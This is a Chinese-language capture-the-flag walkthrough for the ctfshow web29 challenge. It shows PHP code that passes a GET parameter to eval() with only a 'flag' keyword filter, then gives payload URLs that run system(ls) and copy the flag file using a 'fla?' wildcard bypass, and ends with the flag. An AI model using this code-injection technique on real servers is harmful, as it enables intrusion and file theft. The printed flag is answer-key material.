ctfshow-命令执行-web29

ctfshow-web29

题目描述:

ctfshow-命令执行-web29_第1张图片

原理:

  1. isset() 函数

       用于检测变量是否已设置并且非 NULL。
       
       如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。
       
       若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。
       
       同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量    
    
      语法:bool isset ( mixed $var [, mixed $... ] ) 参数说明:
    
       $var:要检测的变量。
    
       如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。 返回值
      
       如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
    
  2. eval() 函数用来执行一个字符串表达式,并返回表达式的值。

审计:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);          //排除错误
if(isset($_GET['c'])){       //get传参不为空,执行if语句
    $c = $_GET['c'];         //get传参,赋值给变量c
    if(!preg_match("/flag/i", $c)){   //过滤flag
        eval($c);            //执行c表达式
    }
    
}else{
    highlight_file(__FILE__);
} 

方法:

思路:

绕过对flag 的过滤

1.查看phpinfo

http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/?c=phpinfo();

http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/?c=phpinfo()?>

ctfshow-命令执行-web29_第2张图片

2.查看目录:

system:执行系统命令

http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/?c=system(ls);

ctfshow-命令执行-web29_第3张图片发现存在flag.php

3.尝试使用shell指令查看flag

payload:http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/?c=system("cp fla?.php 1.txt");
///将flag.php复制到1.txt

4.查看flag:

http://87bba47a-a58c-4c9f-b34c-78e84c5758b4.challenge.ctf.show/1.txt

ctfshow-命令执行-web29_第4张图片

Flag:

ctfshow{e84e8890-d0ce-4acc-b879-1c330edf3cc6}

你可能感兴趣的:(#,CTFSHOW-命令执行,web安全)